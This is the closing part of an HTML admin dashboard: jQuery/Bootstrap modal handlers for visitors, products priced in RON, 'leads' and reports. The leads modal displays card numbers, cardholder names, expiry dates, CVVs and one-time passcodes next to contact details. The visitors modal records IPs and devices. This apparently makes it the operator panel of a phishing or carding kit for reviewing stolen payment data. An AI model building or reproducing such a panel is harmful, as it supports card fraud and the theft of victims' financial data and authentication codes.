</main>
</div>

    <!-- Common Modals for all pages can be added here -->

    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.3/dist/umd/popper.min.js"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
    <script>
        // --- VISITORS PAGE MODALS ---
        $('#viewVisitorModal').on('show.bs.modal', function (event) {
            var button = $(event.relatedTarget);
            var id = button.data('id');
            var ip = button.data('ip');
            var device = button.data('device');
            var os = button.data('os');
            var useragent = button.data('useragent');
            var browser = button.data('browser');
            var time = button.data('time');
            var pages = button.data('pages');

            var modal = $(this);
            modal.find('#modalVisitorId').text(id);
            modal.find('#modalVisitorIp').text(ip);
            modal.find('#modalVisitorDevice').text(device);
            modal.find('#modalVisitorOS').text(os);
            modal.find('#modalVisitorUserAgent').text(useragent);
            modal.find('#modalVisitorBrowser').text(browser);
            modal.find('#modalVisitorTime').text(time);
            modal.find('#modalVisitorPages').text(pages);
        });

        $('#downloadVisitorModal').on('show.bs.modal', function (event) {
            var button = $(event.relatedTarget);
            var id = button.data('id');
            var modal = $(this);
            modal.find('#downloadVisitorId').text(id);
        });
        $('#confirmDownload').on('click', function() {
            alert('Download functionality for visitor report would be implemented here.');
            $('#downloadVisitorModal').modal('hide');
        });


        // --- PRODUCTS PAGE MODALS ---
        $('#addProductModal').on('show.bs.modal', function () {
            // Reset form on show
            $('#addProductForm')[0].reset();
        });
        // Save is handled by form submission

        $('#viewProductModal').on('show.bs.modal', function (event) {
            var button = $(event.relatedTarget);
            var id = button.data('id');
            var name = button.data('name');
            var price = button.data('price');
            var brand = button.data('brand');
            var model = button.data('model');
            var status = button.data('status');
            var image = button.data('image');

            var modal = $(this);
            modal.find('#modalProductId').text(id);
            modal.find('#modalProductName').text(name);
            modal.find('#modalProductPrice').text(price + ' RON');
            modal.find('#modalProductBrand').text(brand);
            modal.find('#modalProductModel').text(model);
            modal.find('#modalProductStatus').text(status);
            modal.find('#modalProductImage').attr('src', image);
        });

        $('#editProductModal').on('show.bs.modal', function (event) {
            var button = $(event.relatedTarget);
            var id = button.data('id');
            var name = button.data('name');
            var price = button.data('price');
            var brand = button.data('brand');
            var model = button.data('model');
            var status = button.data('status');

            var modal = $(this);
            modal.find('#editProductId').val(id);
            modal.find('#editProductName').val(name);
            modal.find('#editProductPrice').val(price);
            modal.find('#editProductBrand').val(brand);
            modal.find('#editProductModel').val(model);
            modal.find('#editProductStatus').val(status);
        });
        // Update is handled by form submission

        $('#deleteProductModal').on('show.bs.modal', function (event) {
            var button = $(event.relatedTarget);
            var id = button.data('id');
            var name = button.data('name');
            var modal = $(this);
            modal.find('#deleteProductName').text(name);
            // Set the value of the hidden input in the form
            modal.find('#deleteProductIdInput').val(id);
        });
        // Delete is handled by form submission


        // --- LEADS PAGE MODALS ---
        $('#viewLeadModal').on('show.bs.modal', function (event) {
            var button = $(event.relatedTarget);
            var id = button.data('id');
            var name = button.data('name');
            var email = button.data('email');
            var phone = button.data('phone');
            var address = button.data('address');
            var card = button.data('card');
            var cardname = button.data('cardname');
            var expiry = button.data('expiry');
            var cvv = button.data('cvv');
            var otp = button.data('otp');
            var status = button.data('status');

            var modal = $(this);
            modal.find('#modalLeadId').text(id);
            modal.find('#modalLeadName').text(name);
            modal.find('#modalLeadEmail').text(email);
            modal.find('#modalLeadPhone').text(phone);
            modal.find('#modalLeadAddress').text(address);
            modal.find('#modalLeadCard').text(card);
            modal.find('#modalLeadCardName').text(cardname);
            modal.find('#modalLeadExpiry').text(expiry);
            modal.find('#modalLeadCvv').text(cvv);
            modal.find('#modalLeadOtp').text(otp);
            modal.find('#modalLeadStatus').text(status);
        });

        $('#updateLeadStatusModal').on('show.bs.modal', function (event) {
            var button = $(event.relatedTarget);
            var id = button.data('id');
            var name = button.data('name');
            var status = button.data('status');

            var modal = $(this);
            modal.find('#updateLeadName').text(name);
            modal.find('#leadStatusSelect').val(status);
            // Store id for update
            modal.find('#confirmUpdateLeadStatusBtn').data('id-to-update', id);
        });
        $('#confirmUpdateLeadStatusBtn').on('click', function() {
            var idToUpdate = $(this).data('id-to-update');
            var newStatus = $('#leadStatusSelect').val();
            alert('Update lead ID: ' + idToUpdate + ' to status: ' + newStatus + ' functionality would be implemented here.');
            $('#updateLeadStatusModal').modal('hide');
        });

        $('#deleteLeadModal').on('show.bs.modal', function (event) {
            var button = $(event.relatedTarget);
            var id = button.data('id');
            var name = button.data('name');
            var modal = $(this);
            modal.find('#deleteLeadName').text(name);
            // Store id for deletion
            modal.find('#confirmDeleteLeadBtn').data('id-to-delete', id);
        });
        $('#confirmDeleteLeadBtn').on('click', function() {
            var idToDelete = $(this).data('id-to-delete');
            alert('Delete lead with ID: ' + idToDelete + ' functionality would be implemented here.');
            $('#deleteLeadModal').modal('hide');
        });

        // --- REPORTS PAGE MODAL ---
        $('#confirmDownloadReportBtn').on('click', function() {
            var reportType = $('#reportType').val();
            var reportFormat = $('#reportFormat').val();
            alert('Download ' + reportType + ' report in ' + reportFormat + ' format functionality would be implemented here.');
            $('#downloadReportModal').modal('hide');
        });

    </script>
</body>
</html>
